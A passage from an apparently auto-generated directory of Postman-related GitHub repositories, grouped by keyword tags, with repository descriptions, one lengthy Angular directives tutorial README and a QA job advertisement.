admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
Eka-2019/PostmanTest_example
auth, authorization, example, fake, server, test, tests 		some example simple tests in postman + fake server and basic authorization 0 stars 0 watchers 0 forks
hiteshere/jwt_authorization
auth, authorization, file, files, function, functional, implementation, operation, operations 		jwt basic implementation with get, post and put operations functional with postman files 0 stars 0 watchers 0 forks
larrydeck/postman-oclc-hmac
auth, authorization, generate, header, hmac, script, signature, signatures 		Postman pre-request script to generate HMAC signatures and authorization headers for OCLC APIs. 0 stars 0 watchers 0 forks
RubenSantana/xx_sec_and_auth
auth, authorization, security, test, tests 		tests for security and authorization with MongoDB, Mongoose, Robo3T, Postman, and others 0 stars 0 watchers 0 forks

converting (7 listings) (Back to Top)

postmanlabs/openapi-to-postman
convert, converting, form, format, openapi, spec, specs 		Plugin for converting OpenAPI 3.0 specs to the Postman Collection (v2) format 195 stars 195 watchers 51 forks
ambertests/charles_to_postman
charles, convert, converting, file, json, output, proxy, test, tests 		Script for converting Charlesproxy output to a Postman json file 0 stars 0 watchers 4 forks
stereg/inspector2postman
convert, converting, file, import, imported, output, spec, taking 		Script for taking ACI inspector output and converting it into a Google Postman Collection file that can be imported 1 stars 1 watchers 0 forks
etuchscherer/postman2curl
collection, collections, command, commands, convert, converting, curl, postman collection, postman collections, util, utility 		A Gem utility for converting postman collections into curl commands. 0 stars 0 watchers 0 forks
postmanlabs/graphql-to-postman
convert, converting, form, format, graph, graphql 		Plugin for converting GraphQL to the Postman Collection (v2) format 0 stars 0 watchers 0 forks
proctorlabs/swagger2postman-cli
collection, collections, container, convert, converting, document, documents, postman collection, postman collections, swagger, swagger2 		A Docker container for converting swagger (OpenAPI v2) documents to postman collections 0 stars 0 watchers 0 forks
timmy8526/CGI_Postman_Convertor
collection, convert, converting, experiment, form, format 		This is an experiment of converting cgi url into Postman collection format. 0 stars 0 watchers 0 forks

storing (7 listings) (Back to Top)

bhawna2109/Librarian
book, books, case, check, collection, data, database, library, office, search, storing 		Librarian is a Postman collection that allows you to use Slack to check the availability of a book in your office library. In this case, we are searching for the book using a Slack app, and also storing the books that we have in the Postman office using Airtable as a database. 1 stars 1 watchers 0 forks
gustavrannestig/postman-encryptedCharfields
django, fields, fork, message, nest, storing, subject 		A fork of django-postman that encrypt the body and subject of a message before storing in db 0 stars 0 watchers 0 forks
jake-bladt/postman-demo-api
demo api, place, storing 		A place for storing my changes to the demo api 0 stars 0 watchers 0 forks
komalng/TuringChallenges
api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing 		This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. 0 stars 0 watchers 0 forks
roachdaddy89/PostMate-Rest-App
application, exploring, native, react, route, routes, storing 		PostMate is a react-native application for exploring and storing custom api routes like postman. 0 stars 0 watchers 0 forks
shruti-14/postman_collection_monitoring
collection, data, elastic, monitor, monitoring, newman, node, postman collection, storing 		Monitoring postman collection using newman node and storing data in elastic serach 0 stars 0 watchers 0 forks
tomdseo/Task-Managing-API
description, script, storing, task 		Simple RESTful API storing task titles and descriptions using MongoDB and Postman 0 stars 0 watchers 0 forks

performance (7 listings) (Back to Top)

mohamed-abdo/performance-load-test
api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit 		Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). 1 stars 1 watchers 0 forks
Story-TellerX/Postman-request-collection-dummy-
collection, dummy, form, performance, test, testing 		This is first performance of my REST testing with Postman 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
002366/API_Testing
form, function, functional, performance, tool 		Here is the APIs for Postman-tool,to understand the api functionality and implementing the CI/CD performance Integration 0 stars 0 watchers 0 forks
geanv/Postman
distributed, form, network, performance, process, service 		A distributed NFV service to improve network performance for small packet processing 0 stars 0 watchers 0 forks
skepee/Orm-Compare
comparison, form, performance, support 		ORM performance comparison between Entity Framework Core, Dapper and Sql Server Json support. 0 stars 0 watchers 0 forks
Vinodh-thimmisetty/Spring-webservices
compare, form, framework, frameworks, performance, service, services, webservice, webservices 		Spring based Restful API to compare the performance of Hibernate and MyBatis frameworks based on response time(POSTMAN). 0 stars 0 watchers 0 forks

directory (7 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
zprager/mongo-express-auth-demo
auth, authentication, bcrypt, directory, express, included, mongo, route, routes, user 		Boiler plate for user authentication with bcrypt, jwt, mongo, and express from Heroku. Postman routes included in root directory. 0 stars 0 watchers 6 forks
MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
skhetarpaul/project-back-end
arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users 		This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. 1 stars 1 watchers 0 forks
xrayin/springboot-rest-image-retriever
application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system 		A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png 0 stars 0 watchers 1 forks
k4l397/newman-dr
client, collection, collections, directory, java, javascript, newman, runs, script, tool, wraps 		This is a javascript tool that wraps the newman postman client and runs all collections in a directory. 0 stars 0 watchers 0 forks
letsdodatascience/directory-api
backend, boot, bootcamp, data, directory, odata 		backend for bootcamp api 0 stars 0 watchers 0 forks

generating (7 listings) (Back to Top)

thecopy/apiary2postman
apiary2postman, collection, copy, generating, print, rating 		Tool for generating a Postman collection from Blueprint API markup or the Apiary API 0 stars 0 watchers 25 forks
alioygur/postman2html
collection, file, generating, html, postman collection, rating 		generating html file from a postman collection file 4 stars 4 watchers 3 forks
p8ul/postman2apiary
collection, generating, print, rating 		Tool for generating Blueprint API markup or the Apiary API from a Postman collection. 0 stars 0 watchers 8 forks
api-evangelist/environments
environment, environments, generating, list, rating, token, tokens 		This is a project for generating tokens and Postman environments. 1 stars 1 watchers 0 forks
ScottReed/iis-redirect-generator
config, generating, generator, postman tests, rating, redirect, test, tests 		A redirect generator for generating IIS redirects in web.config and postman tests 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
Mol0ko/AlamofireRouterGenerator
application, collection, generating, json, rating, route, router 		MacOS application for generating Swift 3 Alamofire router enum from Postman json collection 0 stars 0 watchers 0 forks

snippets (7 listings) (Back to Top)

fbenz/restdocs-to-postman
collection, collections, docs, rest, snippet, snippets 		Converts Spring REST Docs cURL snippets to Postman and Insomnia collections 31 stars 31 watchers 5 forks
buckle/restdocs-tool-export
docs, download, export, exports, import, imported, rest, snippet, snippets, tool 		Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. 1 stars 1 watchers 0 forks
cloudmine/redox_integrations_demo
cloud, collection, form, houses, integration, script, snippet, snippets 		This repo houses a Postman collection and Javascript snippets which form a Redox demo. 0 stars 0 watchers 1 forks
Anirudh184/postman-test-code-snippets
snippet, snippets, test 		Test code snippets for postman 0 stars 0 watchers 0 forks
arashout/postman-collection-gen
collection, snippet, snippets 		Generate code snippets from Postman Collections 0 stars 0 watchers 0 forks
ashleyfulks/postmanRubyCode
operation, operations, snippet, snippets 		creating code snippets in Ruby for Postman operations 0 stars 0 watchers 0 forks
Jnchi/postman-test-snippets
snippet, snippets, test 		Postman Test Script Snippets 0 stars 0 watchers 0 forks

systems (7 listings) (Back to Top)

lfalck/AzureRestApiPostmanCollections
action, collection, collections, developer, developers, integration, system, systems 		Postman collections to simplify interaction with the Azure REST APIs, focusing on those relevant for systems integration developers. 16 stars 16 watchers 7 forks
stt-systems/postman-cli
email, emails, mail, send, server, system, systems, tool 		Python CLI tool for 📧 emails sending using SMTP server 2 stars 2 watchers 2 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
DannyDainton/postman-ci-pipeline-example
example, pipeline, running, system, systems 		An example of running Postman Collections with Newman via different CI systems. 0 stars 0 watchers 4 forks
darrensmith/api-collections
collection, collections, previous, system, systems 		Just a set of Paw and Postman API collections for various systems that I've worked with previously 0 stars 0 watchers 0 forks
geotracsystems/postman-mapsApiAutomation
automat, automation, maps, system, systems 		Contains Postman Collection for Maps API automation 0 stars 0 watchers 0 forks
markongithub/whither_wander
attempt, github, kong, system, systems, talk 		Haskell libraries to talk to Open Trip Planner and attempt the Chinese Postman Problem on transit systems. 0 stars 0 watchers 0 forks

basics (7 listings) (Back to Top)

vishnoitanuj/Blockchain-Cryptocurrency
basics, blockchain, chai, crypto, currency, file, flask, implementation, server, server., servers, struct, suggest, welcome 		A basic implementation of blockchain based on flask server. It servers the basics of crypto-currency technology. The genesis, block constructor and its use are explained in the read-me file. Any suggestions are welcomed. 0 stars 0 watchers 2 forks
ctrl-break/ruby_basics_postman_challenge
basics, ruby 		0 stars 0 watchers 1 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
abhishekhumney/postman
basics 		postman basics 0 stars 0 watchers 0 forks
Investher/bloodymariecurie-gmail.com
basics, mail 		postman basics 0 stars 0 watchers 0 forks
lucasjellema/workshop-api-rest-json-Node-JS
basics, design, designed, implementation, json, rest, workshop 		Two to three day workshop on REST API and JSON, HTTP basics, Node and Server Side JavaScript and the implementation of a self-designed API. Tools used incude Google Chrome, Postman, Visual Studio Code, Apiary.io and Node 0 stars 0 watchers 0 forks
VajidMean/node-rest-api-or-todo-api
basics, mongo, mongod, mongodb, node, operation, rest, todo 		Contain basics of CRUD operation and REST-API with mongodb throughout "postman". 0 stars 0 watchers 0 forks

hosted (7 listings) (Back to Top)

shivampip/postmanweb
host, hosted, pages 		Postman for Web developed using React, hosted on GitHub pages 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
stevenpersia/paperboy-alpha-releases
clone, free, host, hosted, release, self hosted, solution 		Paperboy is a free self hosted solution for your management request API. Postman clone. 1 stars 1 watchers 0 forks
arghajit/transaction-service
